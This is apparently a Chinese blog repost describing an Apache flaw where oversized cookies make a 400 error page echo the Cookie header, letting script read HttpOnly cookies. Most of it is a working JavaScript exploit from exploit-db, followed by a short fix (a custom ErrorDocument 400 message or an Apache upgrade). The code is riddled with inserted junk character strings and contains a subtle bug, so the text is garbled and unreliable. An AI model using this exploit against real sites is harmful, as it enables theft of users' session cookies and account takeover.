Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:

( x+ n9 Y- S7 ~0 \( T0 b
+ B% _6 Q0 }  U  X/ w' B7 s$ W// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
// Construct string for cookie value
% B$ w: B  r, r2 d/ ^1 J0 ?var str = "";
for (var i=0; i< 819; i++) {
str += "x";
8 d' }& }4 c1 n) x* x7 }}
! |; ]$ w4 a8 G! E6 [3 s- ?- J// Set cookies
% J( k7 h1 K. y, F% V  [for (i = 0; i < 10; i++) {
7 D" p, d; D; n- \9 e5 V// Expire evil cookie
: v4 w  J3 }  R! J. f# uif (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
$ A5 a. \8 R$ d! y1 V: w  Z. h// Set evil cookie
else {
5 T3 H/ l. [1 {var cookie = "xss"+i+"="+str+";path=/";
1 O% N4 \! b: v}
document.cookie = cookie;
}
- [1 W4 `( B6 w' V9 }$ s}
function makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
/ m% X# u+ T/ e// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
3 j& A+ L; Y' mif (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
6 j+ b3 @8 X5 k. c! k3 |( r: \for (var i=0; i<cookies.length; i++) {
6 ], f( }5 r0 A. [" u9 Vvar s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
5 r, S9 o: q' \/ r}
: ~# z0 f2 U6 n0 v+ N  O$ G}
' o' C4 A$ U% r  F2 H& [// Unset malicious cookies
setCookies(true);
  v. I) M( O! e  n3 m! nalert(JSON.stringify(cookie_dict));
}
, S1 ]  T2 H& [, S; b$ a& `6 Y}
// Make XHR request
var xhr = new XMLHttpRequest();
* L+ c8 K( X) c1 {9 wxhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
8 |- ]9 R4 ?& U: ]* h! G}
& S5 z  y' O0 u: Y3 amakeRequest();

你就能看见华丽丽的400错误包含着cookie信息。

下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：
: l3 j5 b/ m% \9 [9 l
Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
" ~9 E4 e! q* w. b7 Q# ]: K
In the event of a problem or error, Apachecan be configured to do one of four things,

1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
. Q7 I3 O+ v; A) u3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
# ]0 H/ w. h$ ~3 d; F" ]
0 q# F- @; {; r2 R经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
1 @: }* G- K; @0 J  B2 o
$ g* K/ y% y2 \# {2 D$ Q$ NApache配置：

1 {. J0 e1 i& a( T, L, F, [: [ErrorDocument400 " security test"
9 s& o# q" Y8 q4 [5 H# N* Q2 B
2 u( N7 c. n6 y* X* ?  |- J" S当然，升级apache到最新也可：）。
8 V2 t* f5 i5 t# V( @8 H- h
参考：http://httpd.apache.org/security/vulnerabilities_22.html
! ^6 u* f  P6 ^6 W
$ v: ~7 R7 V, d- g0 o' U